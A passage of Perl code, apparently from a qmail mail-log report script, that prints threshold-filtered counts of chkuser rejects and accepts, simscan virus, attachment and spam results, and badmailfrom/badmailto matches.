			foreach $Line (sort {$ChkuserRejectsRelayTo{$b} <=> $ChkuserRejectsRelayTo{$a}} keys %ChkuserRejectsRelayTo) {
				if ($ChkuserRejectsRelayTo{$Line} >= $ChkuserRejectsRelayToThreshold) {
					$threshold_reached=1;
					if ($Domains{$Line}) {
						print "\t" . $Domains{$Line} . " [$Line] - ". $ChkuserRejectsRelayTo{$Line} . " Time(s)\n";
					}
					else {
						print "\t" . $Line . " - ". $ChkuserRejectsRelayTo{$Line} . " Time(s)\n";
					}
				}
			}
			if ($threshold_reached < 1) {
				print "\t" . "None found above the threshold\n";
			}
		}

		if ( (keys %ChkuserRejectsRelayRemote) ) {
			print "\nChkuser Rejects Relay Remote (Threshold of " . $ChkuserRejectsRelayRemoteThreshold . "):\n";
			$threshold_reached=0;
			foreach $Line (sort {$ChkuserRejectsRelayRemote{$b} <=> $ChkuserRejectsRelayRemote{$a}} keys %ChkuserRejectsRelayRemote) {
				if ($ChkuserRejectsRelayRemote{$Line} >= $ChkuserRejectsRelayRemoteThreshold) {
					$threshold_reached=1;
					if ($Domains{$Line}) {
						print "\t" . $Domains{$Line} . " [$Line] - ". $ChkuserRejectsRelayRemote{$Line} . " Time(s)\n";
					}
					else {
						print "\t" . $Line . " - ". $ChkuserRejectsRelayRemote{$Line} . " Time(s)\n";
					}
				}
			}
			if ($threshold_reached < 1) {
				print "\t" . "None found above the threshold\n";
			}
		}

	}

	if ( $ShowChkuserRejects ) {
		if ( (keys %ChkuserRejectsReason) ) {
			print "\nChkuser Rejects Reason (Threshold of " . $ChkuserRejectsReasonThreshold . "):\n";
			$threshold_reached=0;
			foreach $Line (sort {$ChkuserRejectsReason{$b} <=> $ChkuserRejectsReason{$a}} keys %ChkuserRejectsReason) {
				if ($ChkuserRejectsReason{$Line} >= $ChkuserRejectsReasonThreshold) {
					$threshold_reached=1;
					if ($Domains{$Line}) {
						print "\t" . $Domains{$Line} . " [$Line] - ". $ChkuserRejectsReason{$Line} . " Time(s)\n";
					}
					else {
						print "\t" . $Line . " - ". $ChkuserRejectsReason{$Line} . " Time(s)\n";
					}
				}
			}
			if ($threshold_reached < 1) {
				print "\t" . "None found above the threshold\n";
			}
		}
	}

	if ( $ShowChkuserAccepts ) {
		if ( (keys %ChkuserAcceptsFrom) ) {
			print "\nChkuser Accepts from (Threshold of " . $ChkuserAcceptsFromThreshold . "):\n";
			$threshold_reached=0;
			foreach $Line (sort {$ChkuserAcceptsFrom{$b} <=> $ChkuserAcceptsFrom{$a}} keys %ChkuserAcceptsFrom) {
				if ($ChkuserAcceptsFrom{$Line} >= $ChkuserAcceptsFromThreshold) {
					$threshold_reached=1;
					if ($Domains{$Line}) {
						print "\t" . $Domains{$Line} . " [$Line] - ". $ChkuserAcceptsFrom{$Line} . " Time(s)\n";
					}
					else {
						print "\t" . $Line . " - ". $ChkuserAcceptsFrom{$Line} . " Time(s)\n";
					}
				}
			}
			if ($threshold_reached < 1) {
				print "\t" . "None found above the threshold\n";
			}
		}

		if ( (keys %ChkuserAcceptsTo) ) {
			print "\nChkuser Accepts to (Threshold of " . $ChkuserAcceptsToThreshold . "):\n";
			$threshold_reached=0;
			foreach $Line (sort {$ChkuserAcceptsTo{$b} <=> $ChkuserAcceptsTo{$a}} keys %ChkuserAcceptsTo) {
				if ($ChkuserAcceptsTo{$Line} >= $ChkuserAcceptsToThreshold) {
					$threshold_reached=1;
					if ($Domains{$Line}) {
						print "\t" . $Domains{$Line} . " [$Line] - ". $ChkuserAcceptsTo{$Line} . " Time(s)\n";
					}
					else {
						print "\t" . $Line . " - ". $ChkuserAcceptsTo{$Line} . " Time(s)\n";
					}
				}
			}
			if ($threshold_reached < 1) {
				print "\t" . "None found above the threshold\n";
			}
		}
	}

	if ( $ShowChkuserAcceptsRelay ) {
		if ( (keys %ChkuserAcceptsRelayFrom) ) {
			print "\nChkuser Accepts Relay from (Threshold of " . $ChkuserAcceptsRelayFromThreshold . "):\n";
			$threshold_reached=0;
			foreach $Line (sort {$ChkuserAcceptsRelayFrom{$b} <=> $ChkuserAcceptsRelayFrom{$a}} keys %ChkuserAcceptsRelayFrom) {
				if ($ChkuserAcceptsRelayFrom{$Line} >= $ChkuserAcceptsRelayFromThreshold) {
					$threshold_reached=1;
					if ($Domains{$Line}) {
						print "\t" . $Domains{$Line} . " [$Line] - ". $ChkuserAcceptsRelayFrom{$Line} . " Time(s)\n";
					}
					else {
						print "\t" . $Line . " - ". $ChkuserAcceptsRelayFrom{$Line} . " Time(s)\n";
					}
				}
			}
			if ($threshold_reached < 1) {
				print "\t" . "None found above the threshold\n";
			}
		}

		if ( (keys %ChkuserAcceptsRelayTo) ) {
			print "\nChkuser Accepts Relay to (Threshold of " . $ChkuserAcceptsRelayToThreshold . "):\n";
			$threshold_reached=0;
			foreach $Line (sort {$ChkuserAcceptsRelayTo{$b} <=> $ChkuserAcceptsRelayTo{$a}} keys %ChkuserAcceptsRelayTo) {
				if ($ChkuserAcceptsRelayTo{$Line} >= $ChkuserAcceptsRelayToThreshold) {
					$threshold_reached=1;
					if ($Domains{$Line}) {
						print "\t" . $Domains{$Line} . " [$Line] - ". $ChkuserAcceptsRelayTo{$Line} . " Time(s)\n";
					}
					else {
						print "\t" . $Line . " - ". $ChkuserAcceptsRelayTo{$Line} . " Time(s)\n";
					}
				}
			}
			if ($threshold_reached < 1) {
				print "\t" . "None found above the threshold\n";
			}
		}
	}

	if ( $ShowChkuserOther ) {
		if ( (keys %ChkuserNoAuthResourceFrom) ) {
			print "\nChkuser No Auth Resource from (Threshold of " . $ChkuserNoAuthResourceThreshold . "):\n";
			$threshold_reached=0;
			foreach $Line (sort {$ChkuserNoAuthResourceFrom{$b} <=> $ChkuserNoAuthResourceFrom{$a}} keys %ChkuserNoAuthResourceFrom) {
				if ($ChkuserNoAuthResourceFrom{$Line} >= $ChkuserNoAuthResourceThreshold) {
					$threshold_reached=1;
					if ($Domains{$Line}) {
						print "\t" . $Domains{$Line} . " [$Line] - ". $ChkuserNoAuthResourceFrom{$Line} . " Time(s)\n";
					}
					else {
						print "\t" . $Line . " - ". $ChkuserNoAuthResourceFrom{$Line} . " Time(s)\n";
					}
				}
			}
			if ($threshold_reached < 1) {
				print "\t" . "None found above the threshold\n";
			}
		}

		if ( (keys %ChkuserNoAuthResourceTo) ) {
			print "\nChkuser No Auth resource to (Threshold of " . $ChkuserNoAuthResourceThreshold . "):\n";
			$threshold_reached=0;
			foreach $Line (sort {$ChkuserNoAuthResourceTo{$b} <=> $ChkuserNoAuthResourceTo{$a}} keys %ChkuserNoAuthResourceTo) {
				if ($ChkuserNoAuthResourceTo{$Line} >= $ChkuserNoAuthResourceThreshold) {
					$threshold_reached=1;
					if ($Domains{$Line}) {
						print "\t" . $Domains{$Line} . " [$Line] - ". $ChkuserNoAuthResourceTo{$Line} . " Time(s)\n";
					}
					else {
						print "\t" . $Line . " - ". $ChkuserNoAuthResourceTo{$Line} . " Time(s)\n";
					}
				}
			}
			if ($threshold_reached < 1) {
				print "\t" . "None found above the threshold\n";
			}
		}

		if ( (keys %ChkuserOverquotaTo) ) {
			print "\nChkuser Over Quota (Threshold of " . $ChkuserOverquotaThreshold . "):\n";
			$threshold_reached=0;
			foreach $Line (sort {$ChkuserOverquotaTo{$b} <=> $ChkuserOverquotaTo{$a}} keys %ChkuserOverquotaTo) {
				if ($ChkuserOverquotaTo{$Line} >= $ChkuserOverquotaThreshold) {
					$threshold_reached=1;
					if ($Domains{$Line}) {
						print "\t" . $Domains{$Line} . " [$Line] - ". $ChkuserOverquotaTo{$Line} . " Time(s)\n";
					}
					else {
						print "\t" . $Line . " - ". $ChkuserOverquotaTo{$Line} . " Time(s)\n";
					}
				}
			}
			if ($threshold_reached < 1) {
				print "\t" . "None found above the threshold\n";
			}
		}

		if ( (keys %ChkuserRejectedIntrusionFrom) ) {
			print "\nChkuser Rejected Intrusions from (Threshold of " . $ChkuserRejectedIntrusionThreshold . "):\n";
			$threshold_reached=0;
			foreach $Line (sort {$ChkuserRejectedIntrusionFrom{$b} <=> $ChkuserRejectedIntrusionFrom{$a}} keys %ChkuserRejectedIntrusionFrom) {
				if ($ChkuserRejectedIntrusionFrom{$Line} >= $ChkuserRejectedIntrusionThreshold) {
					$threshold_reached=1;
					if ($Domains{$Line}) {
						print "\t" . $Domains{$Line} . " [$Line] - ". $ChkuserRejectedIntrusionFrom{$Line} . " Time(s)\n";
					}
					else {
						print "\t" . $Line . " - ". $ChkuserRejectedIntrusionFrom{$Line} . " Time(s)\n";
					}
				}
			}
			if ($threshold_reached < 1) {
				print "\t" . "None found above the threshold\n";
			}
		}

		if ( (keys %ChkuserRejectedIntrusionTo) ) {
			print "\nChkuser Rejected Intrusions to (Threshold of " . $ChkuserRejectedIntrusionThreshold . "):\n";
			$threshold_reached=0;
			foreach $Line (sort {$ChkuserRejectedIntrusionTo{$b} <=> $ChkuserRejectedIntrusionTo{$a}} keys %ChkuserRejectedIntrusionTo) {
				if ($ChkuserRejectedIntrusionTo{$Line} >= $ChkuserRejectedIntrusionThreshold) {
					$threshold_reached=1;
					if ($Domains{$Line}) {
						print "\t" . $Domains{$Line} . " [$Line] - ". $ChkuserRejectedIntrusionTo{$Line} . " Time(s)\n";
					}
					else {
						print "\t" . $Line . " - ". $ChkuserRejectedIntrusionTo{$Line} . " Time(s)\n";
					}
				}
			}
			if ($threshold_reached < 1) {
				print "\t" . "None found above the threshold\n";
			}
		}
	}

	if ( $ShowChkuserAcceptedSender ) {
		if ( (keys %ChkuserAcceptedSenderFrom) ) {
			print "\nChkuser accepted senders from (Threshold of " . $ChkuserAcceptedSenderFromThreshold . "):\n";
			$threshold_reached=0;
			foreach $Line (sort {$ChkuserAcceptedSenderFrom{$b} <=> $ChkuserAcceptedSenderFrom{$a}} keys %ChkuserAcceptedSenderFrom) {
				if ($ChkuserAcceptedSenderFrom{$Line} >= $ChkuserAcceptedSenderFromThreshold) {
					$threshold_reached=1;
					if ($Domains{$Line}) {
					print "\t" . $Domains{$Line} . " [$Line] - ". $ChkuserAcceptedSenderFrom{$Line} . " Time(s)\n";
					}
					else {
					print "\t" . $Line . " - ". $ChkuserAcceptedSenderFrom{$Line} . " Time(s)\n";
					}
				}
			}
			if ($threshold_reached < 1) {
				print "\t" . "None found above the threshold\n";
			}
		}
		if ( (keys %ChkuserAcceptedSenderRemote) ) {
			print "\nChkuser accepted senders remote (Threshold of " . $ChkuserAcceptedSenderRemoteThreshold . "):\n";
			$threshold_reached=0;
			foreach $Line (sort {$ChkuserAcceptedSenderRemote{$b} <=> $ChkuserAcceptedSenderRemote{$a}} keys %ChkuserAcceptedSenderRemote) {
				if ($ChkuserAcceptedSenderRemote{$Line} >= $ChkuserAcceptedSenderRemoteThreshold) {
					$threshold_reached=1;
					if ($Domains{$Line}) {
						print "\t" . $Domains{$Line} . " [$Line] - ". $ChkuserAcceptedSenderRemote{$Line} . " Time(s)\n";
					}
					else {
						print "\t" . $Line . " - ". $ChkuserAcceptedSenderRemote{$Line} . " Time(s)\n";
					}
				}
			}
			if ($threshold_reached < 1) {
				print "\t" . "None found above the threshold\n";
			}
		}
		if ( (keys %ChkuserAcceptedNullSenderFrom) ) {
			print "\nChkuser accepted null senders from (Threshold of " . $ChkuserAcceptedNullSenderFromThreshold . "):\n";
			$threshold_reached=0;
			foreach $Line (sort {$ChkuserAcceptedNullSenderFrom{$b} <=> $ChkuserAcceptedNullSenderFrom{$a}} keys %ChkuserAcceptedNullSenderFrom) {
				if ($ChkuserAcceptedNullSenderFrom{$Line} >= $ChkuserAcceptedNullSenderFromThreshold) {
					$threshold_reached=1;
					if ($Domains{$Line}) {
						print "\t" . $Domains{$Line} . " [$Line] - ". $ChkuserAcceptedNullSenderFrom{$Line} . " Time(s)\n";
					}
					else {
						print "\t" . $Line . " - ". $ChkuserAcceptedNullSenderFrom{$Line} . " Time(s)\n";
					}
				}
			}
			if ($threshold_reached < 1) {
				print "\t" . "None found above the threshold\n";
			}
		}
	}

	if ( $ShowChkuserRejectedSender ) {
		if ( (keys %ChkuserRejectedSenderFrom) ) {
			print "\nChkuser rejected senders from (Threshold of " . $ChkuserRejectedSenderFromThreshold . "):\n";
			$threshold_reached=0;
			foreach $Line (sort {$ChkuserRejectedSenderFrom{$b} <=> $ChkuserRejectedSenderFrom{$a}} keys %ChkuserRejectedSenderFrom) {
				if ($ChkuserRejectedSenderFrom{$Line} >= $ChkuserRejectedSenderFromThreshold) {
					$threshold_reached=1;
					if ($Domains{$Line}) {
					print "\t" . $Domains{$Line} . " [$Line] - ". $ChkuserRejectedSenderFrom{$Line} . " Time(s)\n";
					}
					else {
					print "\t" . $Line . " - ". $ChkuserRejectedSenderFrom{$Line} . " Time(s)\n";
					}
				}
			}
			if ($threshold_reached < 1) {
				print "\t" . "None found above the threshold\n";
			}
		}
		if ( (keys %ChkuserRejectedSenderRemote) ) {
			print "\nChkuser rejected senders remote (Threshold of " . $ChkuserRejectedSenderRemoteThreshold . "):\n";
			$threshold_reached=0;
			foreach $Line (sort {$ChkuserRejectedSenderRemote{$b} <=> $ChkuserRejectedSenderRemote{$a}} keys %ChkuserRejectedSenderRemote) {
				if ($ChkuserRejectedSenderRemote{$Line} >= $ChkuserRejectedSenderRemoteThreshold) {
					$threshold_reached=1;
					if ($Domains{$Line}) {
						print "\t" . $Domains{$Line} . " [$Line] - ". $ChkuserRejectedSenderRemote{$Line} . " Time(s)\n";
					}
					else {
						print "\t" . $Line . " - ". $ChkuserRejectedSenderRemote{$Line} . " Time(s)\n";
					}
				}
			}
			if ($threshold_reached < 1) {
				print "\t" . "None found above the threshold\n";
			}
		}

		if ( (keys %ChkuserRejectedSenderReason) ) {
			print "\nChkuser rejected senders reason (Threshold of " . $ChkuserRejectedSenderReasonThreshold . "):\n";
			$threshold_reached=0;
			foreach $Line (sort {$ChkuserRejectedSenderReason{$b} <=> $ChkuserRejectedSenderReason{$a}} keys %ChkuserRejectedSenderReason) {
				if ($ChkuserRejectedSenderReason{$Line} >= $ChkuserRejectedSenderReasonThreshold) {
					$threshold_reached=1;
					if ($Domains{$Line}) {
						print "\t" . $Domains{$Line} . " [$Line] - ". $ChkuserRejectedSenderReason{$Line} . " Time(s)\n";
					}
					else {
						print "\t" . $Line . " - ". $ChkuserRejectedSenderReason{$Line} . " Time(s)\n";
					}
				}
			}
			if ($threshold_reached < 1) {
				print "\t" . "None found above the threshold\n";
			}
		}
	}

	# simscan
	if ( (keys %Simscan) ) {
		print "\nSimscan Viruses (Threshold of " . $SimscanThreshold . "):\n";
		$threshold_reached=0;
		foreach $Line (sort {$Simscan{$b} <=> $Simscan{$a}} keys %Simscan) {
			if ($Simscan{$Line} >= $SimscanThreshold) {
				$threshold_reached=1;
				if ($Domains{$Line}) {
					print "\t" . $Domains{$Line} . " [$Line] - ". $Simscan{$Line} . " Time(s)\n";
				}
				else {
					print "\t" . $Line . " - ". $Simscan{$Line} . " Time(s)\n";
				}
			}
		}
		if ($threshold_reached < 1) {
			print "\t" . "None found above the threshold\n";
		}
	}

	# simscan from
	if ( (keys %SimscanFrom) ) {
		print "\nSimscan Viruses From (Threshold of " . $SimscanFromThreshold . "):\n";
		$threshold_reached=0;
		foreach $Line (sort {$SimscanFrom{$b} <=> $SimscanFrom{$a}} keys %SimscanFrom) {
			if ($SimscanFrom{$Line} >= $SimscanFromThreshold) {
				$threshold_reached=1;
				if ($Domains{$Line}) {
					print "\t" . $Domains{$Line} . " [$Line] - ". $SimscanFrom{$Line} . " Time(s)\n";
				}
				else {
					print "\t" . $Line . " - ". $SimscanFrom{$Line} . " Time(s)\n";
				}
			}
		}
		if ($threshold_reached < 1) {
			print "\t" . "None found above the threshold\n";
		}
	}

	# simscan to
	if ( (keys %SimscanTo) ) {
		print "\nSimscan Viruses To (Threshold of " . $SimscanToThreshold . "):\n";
		$threshold_reached=0;
		foreach $Line (sort {$SimscanTo{$b} <=> $SimscanTo{$a}} keys %SimscanTo) {
			if ($SimscanTo{$Line} >= $SimscanToThreshold) {
				$threshold_reached=1;
				if ($Domains{$Line}) {
					print "\t" . $Domains{$Line} . " [$Line] - ". $SimscanTo{$Line} . " Time(s)\n";
				}
				else {
					print "\t" . $Line . " - ". $SimscanTo{$Line} . " Time(s)\n";
				}
			}
		}
		if ($threshold_reached < 1) {
			print "\t" . "None found above the threshold\n";
		}
	}

	# simscan attach
	if ( (keys %SimscanAttach) ) {
		print "\nSimscan Attachments (Threshold of " . $SimscanAttachThreshold . "):\n";
		$threshold_reached=0;
		foreach $Line (sort {$SimscanAttach{$b} <=> $SimscanAttach{$a}} keys %SimscanAttach) {
			if ($SimscanAttach{$Line} >= $SimscanAttachThreshold) {
				$threshold_reached=1;
				if ($Domains{$Line}) {
					print "\t" . $Domains{$Line} . " [$Line] - ". $SimscanAttach{$Line} . " Time(s)\n";
				}
				else {
					print "\t" . $Line . " - ". $SimscanAttach{$Line} . " Time(s)\n";
				}
			}
		}
		if ($threshold_reached < 1) {
			print "\t" . "None found above the threshold\n";
		}
	}

	# simscan attach from
	if ( (keys %SimscanAttachFrom) ) {
		print "\nSimscan Attachments From (Threshold of " . $SimscanAttachThreshold . "):\n";
		$threshold_reached=0;
		foreach $Line (sort {$SimscanAttachFrom{$b} <=> $SimscanAttachFrom{$a}} keys %SimscanAttachFrom) {
			if ($SimscanAttachFrom{$Line} >= $SimscanAttachThreshold) {
				$threshold_reached=1;
				if ($Domains{$Line}) {
					print "\t" . $Domains{$Line} . " [$Line] - ". $SimscanAttachFrom{$Line} . " Time(s)\n";
				}
				else {
					print "\t" . $Line . " - ". $SimscanAttachFrom{$Line} . " Time(s)\n";
				}
			}
		}
		if ($threshold_reached < 1) {
			print "\t" . "None found above the threshold\n";
		}
	}

	# simscan attach to
	if ( (keys %SimscanAttachTo) ) {
		print "\nSimscan Attachments To (Threshold of " . $SimscanAttachThreshold . "):\n";
		$threshold_reached=0;
		foreach $Line (sort {$SimscanAttachTo{$b} <=> $SimscanAttachTo{$a}} keys %SimscanAttachTo) {
			if ($SimscanAttachTo{$Line} >= $SimscanAttachThreshold) {
				$threshold_reached=1;
				if ($Domains{$Line}) {
					print "\t" . $Domains{$Line} . " [$Line] - ". $SimscanAttachTo{$Line} . " Time(s)\n";
				}
				else {
					print "\t" . $Line . " - ". $SimscanAttachTo{$Line} . " Time(s)\n";
				}
			}
		}
		if ($threshold_reached < 1) {
			print "\t" . "None found above the threshold\n";
		}
	}

	# simscan regex
	if ( (keys %SimscanRegex) ) {
		print "\nSimscan Regex (Threshold of " . $SimscanRegexThreshold . "):\n";
		$threshold_reached=0;
		foreach $Line (sort {$SimscanRegex{$b} <=> $SimscanRegex{$a}} keys %SimscanRegex) {
			if ($SimscanRegex{$Line} >= $SimscanRegexThreshold) {
				$threshold_reached=1;
				if ($Domains{$Line}) {
					print "\t" . $Domains{$Line} . " [$Line] - ". $SimscanRegex{$Line} . " Time(s)\n";
				}
				else {
					print "\t" . $Line . " - ". $SimscanRegex{$Line} . " Time(s)\n";
				}
			}
		}
		if ($threshold_reached < 1) {
			print "\t" . "None found above the threshold\n";
		}
	}

	# simscan regex from
	if ( (keys %SimscanRegexFrom) ) {
		print "\nSimscan Regex From (Threshold of " . $SimscanRegexThreshold . "):\n";
		$threshold_reached=0;
		foreach $Line (sort {$SimscanRegexFrom{$b} <=> $SimscanRegexFrom{$a}} keys %SimscanRegexFrom) {
			if ($SimscanRegexFrom{$Line} >= $SimscanRegexThreshold) {
				$threshold_reached=1;
				if ($Domains{$Line}) {
					print "\t" . $Domains{$Line} . " [$Line] - ". $SimscanRegexFrom{$Line} . " Time(s)\n";
				}
				else {
					print "\t" . $Line . " - ". $SimscanRegexFrom{$Line} . " Time(s)\n";
				}
			}
		}
		if ($threshold_reached < 1) {
			print "\t" . "None found above the threshold\n";
		}
	}

	# simscan regex to
	if ( (keys %SimscanRegexTo) ) {
		print "\nSimscan Regex To (Threshold of " . $SimscanRegexThreshold . "):\n";
		$threshold_reached=0;
		foreach $Line (sort {$SimscanRegexTo{$b} <=> $SimscanRegexTo{$a}} keys %SimscanRegexTo) {
			if ($SimscanRegexTo{$Line} >= $SimscanRegexThreshold) {
				$threshold_reached=1;
				if ($Domains{$Line}) {
					print "\t" . $Domains{$Line} . " [$Line] - ". $SimscanRegexTo{$Line} . " Time(s)\n";
				}
				else {
					print "\t" . $Line . " - ". $SimscanRegexTo{$Line} . " Time(s)\n";
				}
			}
		}
		if ($threshold_reached < 1) {
			print "\t" . "None found above the threshold\n";
		}
	}
	if($ShowSimscanPassthru) {
		# simscan passthru ip from
		if ( (keys %SimscanPassthruIpFrom) ) {
			print "\nSimscan Passthru Ip From (Threshold of " . $SimscanPassthruIpFromThreshold . "):\n";
			$threshold_reached=0;
			foreach $Line (sort {$SimscanPassthruIpFrom{$b} <=> $SimscanPassthruIpFrom{$a}} keys %SimscanPassthruIpFrom) {
				if ($SimscanPassthruIpFrom{$Line} >= $SimscanPassthruIpFromThreshold) {
					$threshold_reached=1;
					if ($Domains{$Line}) {
						print "\t" . $Domains{$Line} . " [$Line] - ". $SimscanPassthruIpFrom{$Line} . " Time(s)\n";
					}
					else {
						print "\t" . $Line . " - ". $SimscanPassthruIpFrom{$Line} . " Time(s)\n";
					}
				}
			}
			if ($threshold_reached < 1) {
				print "\t" . "None found above the threshold\n";
			}
		}

		# simscan passthru from
		if ( (keys %SimscanPassthruFrom) ) {
			print "\nSimscan Passthru From (Threshold of " . $SimscanPassthruFromThreshold . "):\n";
			$threshold_reached=0;
			foreach $Line (sort {$SimscanPassthruFrom{$b} <=> $SimscanPassthruFrom{$a}} keys %SimscanPassthruFrom) {
				if ($SimscanPassthruFrom{$Line} >= $SimscanPassthruFromThreshold) {
					$threshold_reached=1;
					if ($Domains{$Line}) {
						print "\t" . $Domains{$Line} . " [$Line] - ". $SimscanPassthruFrom{$Line} . " Time(s)\n";
					}
					else {
						print "\t" . $Line . " - ". $SimscanPassthruFrom{$Line} . " Time(s)\n";
					}
				}
			}
			if ($threshold_reached < 1) {
				print "\t" . "None found above the threshold\n";
			}
		}

		# simscan passthru to
		if ( (keys %SimscanPassthruTo) ) {
			print "\nSimscan Passthru To (Threshold of " . $SimscanPassthruToThreshold . "):\n";
			$threshold_reached=0;
			foreach $Line (sort {$SimscanPassthruTo{$b} <=> $SimscanPassthruTo{$a}} keys %SimscanPassthruTo) {
				if ($SimscanPassthruTo{$Line} >= $SimscanPassthruToThreshold) {
					$threshold_reached=1;
					if ($Domains{$Line}) {
						print "\t" . $Domains{$Line} . " [$Line] - ". $SimscanPassthruTo{$Line} . " Time(s)\n";
					}
					else {
						print "\t" . $Line . " - ". $SimscanPassthruTo{$Line} . " Time(s)\n";
					}
				}
			}
			if ($threshold_reached < 1) {
				print "\t" . "None found above the threshold\n";
			}
		}
	}
	if ($ShowSimscanSpamReject) {
		# simscan spamreject ip from
		if ( (keys %SimscanSpamrejectIpFrom) ) {
			print "\nSimscan Spam reject Ip From (Threshold of " . $SimscanSpamRejectIpFromThreshold . "):\n";
			$threshold_reached=0;
			foreach $Line (sort {$SimscanSpamrejectIpFrom{$b} <=> $SimscanSpamrejectIpFrom{$a}} keys %SimscanSpamrejectIpFrom) {
				if ($SimscanSpamrejectIpFrom{$Line} >= $SimscanSpamRejectIpFromThreshold) {
					$threshold_reached=1;
					if ($Domains{$Line}) {
						print "\t" . $Domains{$Line} . " [$Line] - ". $SimscanSpamrejectIpFrom{$Line} . " Time(s)\n";
					}
					else {
						print "\t" . $Line . " - ". $SimscanSpamrejectIpFrom{$Line} . " Time(s)\n";
					}
				}
			}
			if ($threshold_reached < 1) {
				print "\t" . "None found above the threshold\n";
			}
		}

		# simscan spamreject from
		if ( (keys %SimscanSpamrejectFrom) ) {
			print "\nSimscan Spam reject From (Threshold of " . $SimscanSpamRejectFromThreshold . "):\n";
			$threshold_reached=0;
			foreach $Line (sort {$SimscanSpamrejectFrom{$b} <=> $SimscanSpamrejectFrom{$a}} keys %SimscanSpamrejectFrom) {
				if ($SimscanSpamrejectFrom{$Line} >= $SimscanSpamRejectFromThreshold) {
					$threshold_reached=1;
					if ($Domains{$Line}) {
						print "\t" . $Domains{$Line} . " [$Line] - ". $SimscanSpamrejectFrom{$Line} . " Time(s)\n";
					}
					else {
						print "\t" . $Line . " - ". $SimscanSpamrejectFrom{$Line} . " Time(s)\n";
					}
				}
			}
			if ($threshold_reached < 1) {
				print "\t" . "None found above the threshold\n";
			}
		}

		# simscan spamreject to
		if ( (keys %SimscanSpamrejectTo) ) {
			print "\nSimscan Spam reject To (Threshold of " . $SimscanSpamRejectToThreshold . "):\n";
			$threshold_reached=0;
			foreach $Line (sort {$SimscanSpamrejectTo{$b} <=> $SimscanSpamrejectTo{$a}} keys %SimscanSpamrejectTo) {
				if ($SimscanSpamrejectTo{$Line} >= $SimscanSpamRejectToThreshold) {
					$threshold_reached=1;
					if ($Domains{$Line}) {
						print "\t" . $Domains{$Line} . " [$Line] - ". $SimscanSpamrejectTo{$Line} . " Time(s)\n";
					}
					else {
						print "\t" . $Line . " - ". $SimscanSpamrejectTo{$Line} . " Time(s)\n";
					}
				}
			}
			if ($threshold_reached < 1) {
				print "\t" . "None found above the threshold\n";
			}
		}
	}

	if ($ShowSimscanSpamDropped) {
		# simscan spamdropped ip from
		if ( (keys %SimscanSpamdroppedIpFrom) ) {
			print "\nSimscan Spam dropped Ip From (Threshold of " . $SimscanSpamDroppedIpFromThreshold . "):\n";
			$threshold_reached=0;
			foreach $Line (sort {$SimscanSpamdroppedIpFrom{$b} <=> $SimscanSpamdroppedIpFrom{$a}} keys %SimscanSpamdroppedIpFrom) {
				if ($SimscanSpamdroppedIpFrom{$Line} >= $SimscanSpamDroppedIpFromThreshold) {
					$threshold_reached=1;
					if ($Domains{$Line}) {
						print "\t" . $Domains{$Line} . " [$Line] - ". $SimscanSpamdroppedIpFrom{$Line} . " Time(s)\n";
					}
					else {
						print "\t" . $Line . " - ". $SimscanSpamdroppedIpFrom{$Line} . " Time(s)\n";
					}
				}
			}
			if ($threshold_reached < 1) {
				print "\t" . "None found above the threshold\n";
			}
		}

		# simscan spam dropped from
		if ( (keys %SimscanSpamdroppedFrom) ) {
			print "\nSimscan Spam dropped From (Threshold of " . $SimscanSpamDroppedFromThreshold . "):\n";
			$threshold_reached=0;
			foreach $Line (sort {$SimscanSpamdroppedFrom{$b} <=> $SimscanSpamdroppedFrom{$a}} keys %SimscanSpamdroppedFrom) {
				if ($SimscanSpamdroppedFrom{$Line} >= $SimscanSpamDroppedFromThreshold) {
					$threshold_reached=1;
					if ($Domains{$Line}) {
						print "\t" . $Domains{$Line} . " [$Line] - ". $SimscanSpamdroppedFrom{$Line} . " Time(s)\n";
					}
					else {
						print "\t" . $Line . " - ". $SimscanSpamdroppedFrom{$Line} . " Time(s)\n";
					}
				}
			}
			if ($threshold_reached < 1) {
				print "\t" . "None found above the threshold\n";
			}
		}

		# simscan spamdropped to
		if ( (keys %SimscanSpamdroppedTo) ) {
			print "\nSimscan Spam dropped To (Threshold of " . $SimscanSpamDroppedToThreshold . "):\n";
			$threshold_reached=0;
			foreach $Line (sort {$SimscanSpamdroppedTo{$b} <=> $SimscanSpamdroppedTo{$a}} keys %SimscanSpamdroppedTo) {
				if ($SimscanSpamdroppedTo{$Line} >= $SimscanSpamDroppedToThreshold) {
					$threshold_reached=1;
					if ($Domains{$Line}) {
						print "\t" . $Domains{$Line} . " [$Line] - ". $SimscanSpamdroppedTo{$Line} . " Time(s)\n";
					}
					else {
						print "\t" . $Line . " - ". $SimscanSpamdroppedTo{$Line} . " Time(s)\n";
					}
				}
			}
			if ($threshold_reached < 1) {
				print "\t" . "None found above the threshold\n";
			}
		}
	}

	# qmail-smtpd reports
	if ( keys %Badmailfromemail) {
		print "\nEmails caught by badmailfrom by email (Threshold of " . $BadMailFromEmailThreshold . "):\n";
		$threshold_reached=0;
		foreach $Line (sort {$Badmailfromemail{$b} <=> $Badmailfromemail{$a}} keys %Badmailfromemail) {
			if ($Badmailfromemail{$Line} >= $BadMailFromEmailThreshold) {
				$threshold_reached=1;
				print "\t" . $Line . " - ". $Badmailfromemail{$Line} . " Time(s)\n";
			}
		}
		if ($threshold_reached < 1) {
			print "\t" . "None found above the threshold\n";
		}
	}
	if ( keys %Badmailfromip) {
		print "\nEmails caught by badmailfrom by ip: (Threshold of " . $BadMailFromIpThreshold . ")\n";
		$threshold_reached=0;
		foreach $Line (sort {$Badmailfromip{$b} <=> $Badmailfromip{$a}} keys %Badmailfromip) {
			if ($Badmailfromip{$Line} >= $BadMailFromIpThreshold) {
				$threshold_reached=1;
				print "\t" . $Line . " - ". $Badmailfromip{$Line} . " Time(s)\n";
			}
		}
		if ($threshold_reached < 1) {
			print "\t" . "None found above the threshold\n";
		}
	}

	if ( keys %Badmailtoemail) {
		print "\nEmails caught by badmailto by email (Threshold of " . $BadMailToEmailThreshold . "):\n";
		$threshold_reached=0;
		foreach $Line (sort {$Badmailtoemail{$b} <=> $Badmailtoemail{$a}} keys %Badmailtoemail) {
			if ($Badmailtoemail{$Line} >= $BadMailToEmailThreshold) {
				$threshold_reached=1;
				print "\t" . $Line . " - ". $Badmailtoemail{$Line} . " Time(s)\n";
			}
		}
		if ($threshold_reached < 1) {
			print "\t" . "None found above the threshold\n";
		}
	}
	if ( keys %Badmailtoip) {
		print "\nEmails caught by badmailto by ip (Threshold of " . $BadMailToIpThreshold . "):\n";
		$threshold_reached=0;
		foreach $Line (sort {$Badmailtoip{$b} <=> $Badmailtoip{$a}} keys %Badmailtoip) {
			if ($Badmailtoip{$Line} >= $BadMailToIpThreshold) {
				$threshold_reached=1;
